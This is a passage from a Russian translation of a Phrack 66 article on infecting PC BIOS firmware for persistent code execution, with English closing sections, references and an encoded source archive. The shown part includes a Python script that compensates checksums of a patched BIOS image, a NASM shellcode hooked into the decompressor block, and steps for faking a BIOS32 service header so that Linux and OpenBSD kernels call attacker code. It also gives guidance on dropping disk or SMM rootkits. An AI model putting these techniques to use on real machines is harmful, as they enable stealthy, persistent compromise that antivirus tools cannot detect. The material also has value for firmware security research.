	newbios+=chr( (0x1FF-chkdiff) & 0xff )
	newbios+=modif[start_of_compensation+1:]
	
	mchksum=0 # modified checksum
	ochksum=0 # modified checksum
	for i in range(start_of_decomp_blk,end_of_decomp_blk):
		ochksum+=ord(orig[i])
		mchksum+=ord(newbios[i])
	print "Checksum: Original = %08X Final= %08X" % (ochksum,mchksum)
	print "(Please check the last digit, must be the same in both checkums)"
	
	
	newbiosname=sys.argv[2]+".compensated"
	w=open(newbiosname,'wb')
	w.write(newbios)
	w.close()
	print "New bios saved as %s" % newbiosname
	
	-------------------------------------------------------------
С помощью этой техники мы успешно изменяем один бит, один байт и несколько байт на несжатой области BIOS. Первый шаг сделан.


---[3.2.2.1 - Внедрение кода

Вредоносный код находится все в том же месте: блок декомпрессора. Мы также переходим на то же место, что и в инъекции кода VMware: в конце блока декомпрессора в целом было достаточно места для того чтобы сделать довольно приличный первый шеллкод. Подсказка: при поиске "= Award Decompression Bios =" в BIOS Phoenix, имеем блок с пометкой "DECOMPCODE" (с использованием phnxdeco или любого другого инструмента). Техника почти никогда не меняется. Есть несколько пунктов, которые ты должен сделать, чтобы убедиться, что подключился правильно. Во-первых, включить основной вредоносный код, который перебрасывает вперед, а затем возвращает. Задем изменить его, чтобы привести к бесконечному циклу (у нас нет отладчика, поэтому мы должны использовать эту ужасную технику). Если ты можешь контролировать правильную загрузку компьютера и его блокировку, Graz! Теперь у тебя есть код, скрыто выполняющийся из BIOS.


---[3.2.3 - Подгрузка

Теперь у нас есть контроль над BIOS. Ты откапываешь в своей голове навык 16-битного шеллкодинга и пытаешься заюзать 10h INT для вывода "I Pwned J00!" на экран, а затем приступить к использованию INT 13h, чтобы писать на жесткий диск. Не беги вперед паровоза, иначе тебя поглотит черный экран эпик фэйла. Это потому, что у тебя все еще нет полного контроля над BIOS. Для начала впомни, как мы это делали с кодом на VMware: мы исполняли код несколько раз во время процесса загрузки. В первый момент времени диск не вращается, экран по-прежнему выключен и, что самое удивительное, прерывание векторной таблицы не инициализировано. Звучит круто, но на самом деле это большая проблема. Ты не можешь производить запись на диск, если он не вращается, но ты можешь использовать прерывание, если IVT не инициализирован. Тебе следует подождать. Но как мы узнаем, когда для подойдет время для выполнения? Нам опять потребуется некий ready-to-go signal (сигнал готовности).


---[3.2.3.1 - Сигнал готовности

В VMware, мы использовали содержание IVT как сигнал готовности. Шеллкод проверял, готов ли IVT, путем получения от него правильных значений. Это было очень легко, потому что в реальном режиме IVT всегда находится на ожном и том же месте (0000:0000 легко запомнить, кстати). Этот метод - полный отстой, потому что реально ты из этого больше ничего не извлечешь.

Указатели на IVT все время отличаются, даже между версиями одного и того же производителя BIOS. Нам необходима лучшая, превосходящая "работу-на-другом-компьютере-отличном-от-моего" техника. Короче говоря, вот решение, и оно прекрасно работает:

Код:
Проверьте содержит ли C000:0000 подпись AA55h.
Если условие истинно, то ты можешь выполнять любые перерывания. Суть в том, что в этом точном положении VGA BIOS загружается на всех ПК. И AA55h это подпись, которая говорит нам, что VGA BIOS существует. Это прекрасно для точного определения, был ли загружен VGA BIOS, а затем инициализирован IVT. Предупреждение: Конечно, жесткий диск еще не вращается! Но теперь ты можешь проверить его без сбоев прерыванием 13h, используя функцию 41h для проверки расширения LBA, а затем сделать сброс диск с помощью функции 00h. Пример представлен в разделе 3.1.5.1

Остальное уже история. Ты можешь использовать INT 13h с LBA для проверки готовности диска, и если он готов, то вставить disk-stage rootkit или SMBIOS руткит (см. [PHRACK65]), или BluePill, или I-Love-You вирус, да и вообще, что тебе угодно. Твой код теперь бессмертен.

Кстати, вот второй шеллкод:

Код:
-------------------------------------------------------------
	;skull.asm please use nasm to assemble
	BITS 16
	back:
	        TIMES 0x0b55 db 0x90

	begin2:
	        pusha
	        pushf
		push es
		push ds

		push 0xc000
	        pop ds
		cmp word [0],0xaa55
		je print
	
	volver:
		pop ds
		pop es
	        popf
	        popa
	        pushad
	        push cx
	        jmp back
	
	print:
	        jmp start
	
	        ;message
	        ;   123456789
	msg:    db ' .---.',13,10,\
	           '/     \',13,10,\
	           '|(\ /)|',13,10,\
	           '(_ o _)',13,10,\
	           ' |===|',13,10,\
	           ' `-.-`',13,10
	        times 55-$+msg db ' '
	
	start:
	        ;geteip
	        call getip
	getip:
	        pop dx
	
	        ;init video
	        mov ax,0003
	        int 0x10
	
	        ;video write
	        mov bp,dx
	        sub bp,58 ; message
	
	        ;write string
	        mov ax,0x1300
	        mov bx,0x0007
	        mov cx,53
	        mov dx,0x0400
	        push cs
	        pop es
	        int 0x10
	
	        call sleep
	        jmp volver
	
	sleep:
	        mov cx, 0xfff
	l1:
	        push cx
	        mov cx,0xffff
	l2:
	        loop l2
	        pop cx
	        loop l1
	        ret
	-------------------------------------------------------------

------[ 4.- BIOS32 (Прямая инфекция ядра)

Теперь у тебя есть BIOS руткит, который выполняется в BIOS. Но находясь в BIOS, он просто сосет с точки зрения атакующего. В идеале нам нужен контроль над ядром операционной системы. Вот почему ты должен аплоаднуть шеллкод на жесткий диск или сделать SMBIOS-руткит. Но что делать, если жесткий диск зашифрован? Или если машина не имеет жесткого диска и грузится по сети? Не ссы, потому что этот раздел именно для таких случаев. Есть заблуждение, что BIOS не используется после загрузки. Это неправда. ОС обращается к BIOS по многим причинам, как, например, установка видеорежимов (Int 10h) или вызов BIOS-32. Что такое BIOS32? Используя поиск Google, мы пришли к выводу, что это скрытая служба BIOS, которая предоставляет информацию о других сервисах BIOS современным 32-разрядным операционным системам. Вы можете обратиться к [BIOS32SDP] для получения более детальной информации. Важно то, что многие операционные системы обращаются к нему. И единственным требованием, чтобы подменить службу BIOS32, является то, что Вам необходимо сделать заголовок BIOS32 где-то от E000:0000 до F000:FFFF области памяти. Структура заголовка:

Код:
Offset	Bytes	Description
0	4	Signature "_32_"
4	4	Entry point for the BIOS32 Service (here you put a pointer
		to your stuff)
8	1	Revision level, put 0
9	1	Length of the BIOS32 Headers in paragraphs (put 1)
10	1	8-bit Checksum. Security FTW!
11	5	Reserved, put 0s.

Это шаблон для всех сервисов BIOS. Чтобы найти и выполнить сервис, нужно выполнить шаблонный поиск по контрольной сумме, а затем он просто переходит на функцию, которая является своего рода диспетчером. Такое поведение присутствует в различных BIOS функциях, такие как Plug и Play ($PnP), Post Memory Manager ($PMM), BIOS32 (_32_) и т. д. В то время, когда система была разработана, безопасность не учитывалась, поэтому мы можем использовать это преимущество и вставить наши собственные заголовки (мы можем даже использовать option-ROM, без изменения системы BIOS), ну и ОС, в конечном счете, всегда доверяет BIOS. Вот как Linux 2.6.27 находит и вызывает эту услугу на этапе ядра:

Код:
arch/x86/pci/pcibios.c,check_pcibios()
...
	if ((pcibios_entry = bios32_service(PCI_SERVICE))) {
		pci_indirect.address = pcibios_entry + PAGE_OFFSET;

		local_irq_save(flags);
		__asm__(
			"lcall *(%%edi); cld\n\t"  <--- Pwn point
			"jc 1f\n\t"
			"xor %%ah, %%ah\n"
			"1:"
...

OpenBSD 4.5 does the same here:

sys/arch/i386/i386/bios.c,bios32_service()
int
bios32_service(u_int32_t service, bios32_entry_t e, bios32_entry_info_t ei)
{
...
	base = 0;
	__asm __volatile("lcall *(%4)"         <-- Pwn point
	    : "+a" (service), "+b" (base), "=c" (count), "=d" (off)
	    : "D" (&bios32_entry)
	    : "%esi", "cc", "memory");
...
На данный момент у нас нет никаких данных о прямых вызовах в Windows XP/Vista/7 BIOS32 , но можешь обратиться к презентации [JHeasman], где представлены документы прямого Int 10h вызова из нескольких точек на ядро Windows.

Фейк заголовка BIOS32 или изменение существующего является реальным способом сделать прямые бинарные операции выполнения на уровне ядра, и удобнее, чем вызов INT 10 (нам не нужно переключатся в защищенный режим). К сожалению, из-за нехватки времени, мы не могли осветить BIOS32 inj vector PoC, но она должна быть относительно легкой при реализации. Теперь у тебя есть все инструменты, чтобы потестировать эти дела безопасно внутри виртуальной машины, такой как VMware.

Далее идет заключение от автора, его благодарности и список литературы. Так как он не несет основной смысловой нагрузки, оставляю его в первозданном виде. Заранее прошу прощения за мой французский. Спасибо за внимание, рад был поработать над данной статьей.

Код:
------[ 5.- Future and other uses

Bios modification is a powerful attack technique. As we said before,
if you take control of the system at such an early stage, there is
very little that an anti-virus or detection tool can do. Furthermore,
we can stay resident using a common boot-sector rootkit, or file
system modification.  But some of the more fun things that you can do
with this attack is to drop a more sophisticated rootkit, like a
virtualized one, or better, a SMM Rootkit.

---[5.1 - SMM!
  
The difficulty of SMM Rootkits relies on the fact that you can't 
touch the SMRAM once the system is booted, because the BIOS sets
the D_LCK bit [PHRACK65].  Recently many techniques has been
developed to overcome this lock, like [DUFLOTSM], but if you are
executing in BIOS, this lock doesn't affect you, because you are
executing before this protection, and you could modify the SMRAM
directly on the firmware. However, this	technique would be very 
difficult and not generic at all, but it's doable.

---[5.2 - Signed firmware
	
The huge security hole that is allowing unsigned firmware into
a motherboard is being slowly patched and many signed BIOS
systems are being deployed, see [JHeasman2] for examples.
This gives you an additional layer of security and prevent
exactly the kind of attack proposed in this article.
However, no system is completely secure, bug and backdoors
will always exist. To this date no persistent attack on
signed bios has been made public, but researchers are
close to beating this kind of protections, see for example 
[ILTXT].
	
---[5.3 - Last words
	
Few software is so fundamental and at the same time, so closed,
as the BIOS. UEFI [UEFIORG], the new firmware interface, promises 
open-standards and improved security.
But meanwhile, we need more people looking, reversing and 
understanding this crucial piece of software. 
It has bugs, it can contain malicious code, and most importantly,
BIOS can have complete control of your computer. Years ago people
regained part of that control with the open-source revolution, but
users won't have complete control until they know what's lurking
behind closed-source firmware.
If you want to improve or start researching your own BIOS and
need more resources, an excellent place to start would be
the WIM'S BIOS High-Tech Forum [WBHTF], where very low-level
technical discussions take place.
	

--[6.- Greetz
  
We would like to thank all the people at Core Security for giving us
the space and resources to work in this project, in particular to the
whole CORE's Exploit writers team for supporting us during the time we
spent researching this interesting stuff.
	
Kudos to the phrack editor team that put a huge effort into this 
e-zine.

To t0p0, for inspiring us in this project with his l33t cisco stuff.
To Gera for his technical review.  To Lea & ^Dan^ for correctin our
englis.  And Laura for supporting me (Alfred) on my long nights of
bios-related suffering. 
	
	
---[7.- References

[JHeasman] Firmware Rootkits, The Threat to the Enterprise,
	   John Heasman, http://www.ngssoftware.com/research/
	   papers/BH-DC-07-Heasman.pdf
[JHeasman2] Implementing and detecting ACPI BIOS rootkit,
	    http://www.blackhat.com/presentations/bh-federal-06/
	    BH-Fed-06-Heasman.pdf 
[BIOS32SDP] Standard BIOS 32-bit Service Directory Proposal 0.4,
	    Thomas C. Block, http://www.phoenix.com/NR/rdonlyres/
            ECF22CEC-A1B2-4F38-A7F9-629B49E1DCAB/0/specsbios32sd.pdf
[COREBOOT] Coreboot project, Flashrom utility, http://www.coreboot.org/
	   Flashrom
[PHRACK65] Phrack Magazine, Issue 65, http://www.phrack.com/
	   issues.html?issue=65
[DUFLOTSM] "Using CPU System Management Mode to Circumvent 
	   Operating System Security Functions" Loic Duflot, 
	   Daniel Etiemble, Olivier Grumelard Proceedings of 
	   CanSecWest, 2006 
[UEFIORG]  Unified EFI Forum, http://www.uefi.org/
[ILTXT]	   Attacking Intel Trusted Execution Technology,
	   BlackHat DC, Feb 2009. 
	   http://invisiblethingslab.com/resources/
	   bh09dc/Attacking%20Intel%20TXT%20-%20paper.pdf
[WBHTF]    WIM'S BIOS In-depth High-tech BIOS section
	   http://www.wimsbios.com/phpBB2/
	   in-depth-high-tech-bios-section-vf37.html
[LZH]      http://en.wikipedia.org/wiki/LHA_(file_format)
[Pinczakko] Pinczakko Official Website, 
            http://www.geocities.com/mamanzip/

  ---[8.- Sources

begin 644 phrack-66-07.tgz
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
MG+XX>`>62HG8852`_"*V=_?ZS\)O5CM0_+T2S@&8?GU\];+***?;Z)1*[/KWY
M[?(+Y+W;,TL&OKZY.GO_R_5F^(ZY5[;2;T[/0=]NOF#\3JG<?KL\.;PYW0P^
M0,]9`I[HC(;O'U'\0II,LNRP-_<6:,]=:8TOIP'WW17#_!YVZKAXH+>(7,^-
MGG2)`:]9Z042OH]<171$Y*0OC\C.(W[6\-P'^1ZJUS-T;*=.TE&TZ"8P?=YD
MZB8]"<._NDVF'D>1W\''_[42NFHQ82V,X.DY=$?OZ`9@PE-(ON2AS@[EZS7U
MH`J0/<%F_#,^[\37*^F++7J.%LEGW\FC,WS<S6R(>")T@8'@BG$!>J:(8RX,
M/O-*?!1PZ'>\(Y?OQ1P7TPW'"P*VHIA:"+/#)-E$4,0?C&7`#R.)P!>`YM`3
M02M]B"Y])L!0CDF<`Q*"T"!`\3PI/M@'Q(=AZ'ESKR$$:YQ%=<$<?(">FU]3
M9[_CFW3`0<B!@7W=,%'6KF!+"V#X(_>`6X[,VP&W3?-?C!=^M&"[.BP:?&E'
MSVM)N_`='NJ8K](LP$OSIGPDK][KQ8_89I@BXL8O]WSLZ01+?%<0Z-7FX[N7
MLO@_CM:^UA@;WO]UP2AFWO]U,/[OF/TJ_O\6Y<7\/[K7QC1`39,AV=&[B^._
M']2R\5GMA>S`SLO9@=*()68?O$HA)?`]6$4Z'@XBO%O&PZ"0DHC0L.KLT@-S
MRLG/I)O6E_(*_U0>X17=[R2`]%P_EW.7IC'IL''A8:.)/$FZZ&`OG48-'U/6
MFC\9V3S!-#WLXZB\_RU04#Q+3P_53^C1)EY$VIQ2`]D+O:%HV[D\P^4T\-1;
M*7`OKO\9W%TF`Z^N,A^1ECJF[R49:EKZ6C1)YTIR%G/)7$H:OV)/?-;,'<PL
ME#<W<7YABJRIS6`GJ-#6/ZWVK$^KGO%I9?0^K;KC3ZO!`.J,.MM6)W\<5O$.
MG@4:VO8[?#2-LY+H\&(60P<(351^)M:'E.U)!-=A8OBT#6>64?1G\C6W\?\?
ML:##-GGSHK.?Z<@0_.;?M"TY0LD0+V+?4NBW`%0QZK7(#G%=DOW98O/2!9`?
M"##&2KR%I,\W3IO26:BO2FE1DXDKX[26[4-'\CG)1I1O+@[PQ:*6<D#]);,+
M99?;G5B\.W$KRC^N;.ZD74>WZ4#IVT\%M8.)CGM&[8UI***NI]L3-!W&W.FD+
M],)TQ#0+#'&"$6/T;G,-YN/(6$UN=Z05U.<P\4;MQU]KK5A/D2%M8V4>-I,I
MP!<F76U?QP\^Z>DDA%5%10P6D4PD*G(>FM;YCE4QU\$0'`,RS&-6FG(9\CDX
M;EW7:]DUJ[_-;`B9_E;MK^IIPA6PP(=_1<!CV(^\AW\%R$RO<,;>Z.<7)RF^
M,TH!ABW'$G_X@;QE%BUU*+24.P<QQ4QGW%O0\0]M)&P9XM+1$CF5[^T7_U7*
MAO?_$*W_^?\-U,;W_V8WSO\:]+K=5Y@&9E3GO]^DO/S^/_/\GRU\-\KG`#!N
MV=,J$:!*!$!\52)`E0A0)0)4B0!5(D"5"%`E`E2)`%4B0)4(4"4"5(D`52)`
ME0A0)0)4B0!5(D"5"%`E`E2)`%6I2E6J4I6J5*4J5:E*5:I2E:I4I2I5^:;E
*OP'CP.BZ`'@`````
`
end

--------[ EOF
© .aLS - anibal.sacco@coresecurity.com
Alfredo - alfredo@coresecurity.com

© Translated by Ex0rcist from GR TeaM
© Resident of r0 Crew